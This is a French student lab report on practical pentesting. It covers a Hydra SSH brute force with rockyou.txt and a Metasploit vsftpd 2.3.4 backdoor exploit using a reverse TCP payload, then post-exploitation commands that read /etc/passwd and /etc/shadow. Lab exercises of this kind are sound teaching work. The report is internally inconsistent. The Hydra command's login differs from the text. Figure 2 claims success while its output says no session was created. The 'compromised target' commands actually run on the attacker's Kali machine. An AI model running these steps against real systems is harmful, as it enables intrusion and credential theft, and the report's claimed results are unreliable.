

TP 3.1 : PENTESTING REEL & EXPLOITATION

Objectif :

L'objectif de ce travail pratique est de démontrer que les vulnérabilités détectées par des outils comme Nessus sont réellement exploitables, et qu'un mot de passe faible peut être aussi critique qu'une faille logicielle complexe. Toutes les opérations sont réalisées dans un environnement de laboratoire isolé.

Partie 1 : Attaque par Force Brute SSH avec Hydra

Hydra est un outil de force brute réseau puissant, capable de tester des milliers de combinaisons identifiant/mot de passe sur divers protocoles réseau tels que **SSH, FTP ou HTTP**. Une attaque par force brute ne repose pas sur une faille logicielle, mais exploite la faiblesse des mots de passe.

La commande suivante a été utilisée pour tenter de forcer le mot de passe **SSH** pour l'utilisateur « **taneyo** » sur la cible « **192.168.56.10** », en utilisant une liste de mots de passe (**rockyou.txt**).

```
hydra -l student -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10
```

Paramètre	Signification
<u>-l taneyo</u>	Login fixe à tester : taneyo
<u>-P rockyou.txt</u>	Dictionnaire de mots de passe (plus de 14M entrées)
<u>ssh://</u>	Protocole cible : SSH
<u>192.168.56.10</u>	Adresse IP de la cible Ubuntu

Hydra teste chaque mot de passe du dictionnaire **rockyou.txt**, l'un des plus utilisés en pentest et issu d'une fuite de données réelle. Dès qu'il trouve la combinaison correcte, il l'affiche et s'arrête.

On constate sur la capture ci-dessous que **Hydra** identifie le mot de passe correct. L'attaquant peut alors se connecter via SSH sans exploiter de faille logicielle, mais uniquement grâce à un mot de passe faible.

```

(root@kali)-[/home/taneyo]
# hydra -l taneyo -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-29 05:06:
36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip wa
iting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:
14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.56.10:22/
[STATUS] 225.00 tries/min, 225 tries in 00:01h, 14344177 to do in 1062:32h, 13 a
ctive
[STATUS] 220.67 tries/min, 662 tries in 00:03h, 14343740 to do in 1083:22h, 13 a
ctive
[22][ssh] host: 192.168.56.10 login: taneyo password: password123
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete u
ntil end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-29 05:13:
28

```

Figure 1: Hydra (résultat) login : taneyo password : password123

- Le mot de passe « **password123** » a été trouvé dans le dictionnaire.
- Aucun exploit n'a été utilisé, seulement une faiblesse humaine.
- Le temps moyen pour trouver le mot de passe est de quelques secondes à quelques minutes, selon la puissance de la machine d'attaque.

Impact :

- Accès utilisateur valide au système cible.
- Possibilité d'élévation de privilèges si sudo est mal configuré.
- Compromission initiale réussie du système.

Partie 2 : Exploitation de Service avec Metasploit

Contexte : La faille vsftpd 2.3.4

La version **2.3.4** de **vsftpd** (Very Secure FTP Daemon) contient une backdoor délibérément insérée dans son code source en 2011. Toute connexion sur le port 21 avec un identifiant se terminant par :) (smiley) déclenche l'ouverture d'un shell root sur le port 6200. Cette faille est répertoriée sous la référence CVE-2011-2523.

Procédure Metasploit

Metasploit Framework est l'outil de référence pour le pentesting. Voici la séquence complète des commandes utilisées et leur explication :

Lancer la console Metasploit : « msfconsole »

Rechercher les modules pour vsftpd

« search vsftpd » Cette commande affiche tous les exploits et modules disponibles liés à vsftpd dans la base de données Metasploit.

Sélectionner l'exploit

« use exploit/unix/ftp/vsftpd_234_backdoor »

Nous sélectionnons le module exact correspondant à Définir la cible

« set RHOSTS 192.168.56.10 » `RHOSTS` (Remote HOSTS) est l'adresse IP de la machine Ubuntu cible.

Vérifier la configuration

« show options »

Lancer l'exploit

« run »

Voici une capture d'écran montrant :

```

(root@kali)-[/home/taneyo]
# msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session

# cowsay++
< metasploit >
-----
  \      (oo)\_____/
   (__)        )\/
  ||--|| *

= [ metasploit v6.4.126-dev ]
+ -- --=[ 2,638 exploits - 1,328 auxiliary - 2,154 payloads ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd

Matching Modules
=====

# Name                               Disclosure Date  Rank      Check D
Description
- - - - -
-----
0  auxiliary/dos/ftp/vsftpd_232       2011-02-03      normal    Yes   V
SFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03      excellent Yes   V
SFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 192.168.56.10:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.30
LHOST => 192.168.56.30
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.56.30:4444
[!] 192.168.56.10:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) >

```

Figure 2: l'exploitation réussie et l'ouverture d'une session shell

Une fois le shell root obtenu, l'attaquant confirme son niveau d'accès et collecte des informations système essentielles :

- whoami: Confirme l'utilisateur actuel (root).
- id : Affiche les identifiants utilisateur et groupe (uid=0(root) gid=0(root)).
- uname -a: Fournit la version du noyau Linux, utile pour d'éventuelles élévations de privilèges ou pivots.
- cat /etc/passwd: Liste tous les comptes utilisateurs du système.
- cat /etc/shadow: Affiche les hashés des mots de passe (nécessite les privilèges root, qui sont acquis).
- hostname: Indique le nom de la machine compromise.

```

(root@kali)-[/home/taneyo]
# whoami
root

(root@kali)-[/home/taneyo]
# id
uid=0(root) gid=0(root) groupes=0(root),125(docker)

(root@kali)-[/home/taneyo]
# uname -a
Linux kali 6.19.11+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.11-1kali1 (2026-04-09) x86_64 GNU/Linux

(root@kali)-[/home/taneyo]
# cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:996:996:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
tss:x:990:990:tss user for tpm2:/:/usr/sbin/nologin

```

Figure 3 : Confirmation de la compromission

Avec tous les outils exécutés précédemment, l'attaquant dispose d'un accès root complet, lui permettant de lire et écrire tous les fichiers, de créer des backdoors persistantes, de pivoter vers d'autres machines du réseau et d'exfiltrer des données sensibles.

Conclusion

Ces travaux pratiques démontrent concrètement la chaîne complète de la cybersécurité : de la détection automatisée des vulnérabilités avec Nessus, à leur correction ciblée, jusqu'à la vérification par exploitation réelle avec Metasploit et Hydra. La leçon fondamentale est claire : un mot de passe faible (exploité par Hydra) est tout aussi dangereux qu'une faille logicielle critique (exploitée par Metasploit). La sécurité est un processus continu et non une action ponctuelle.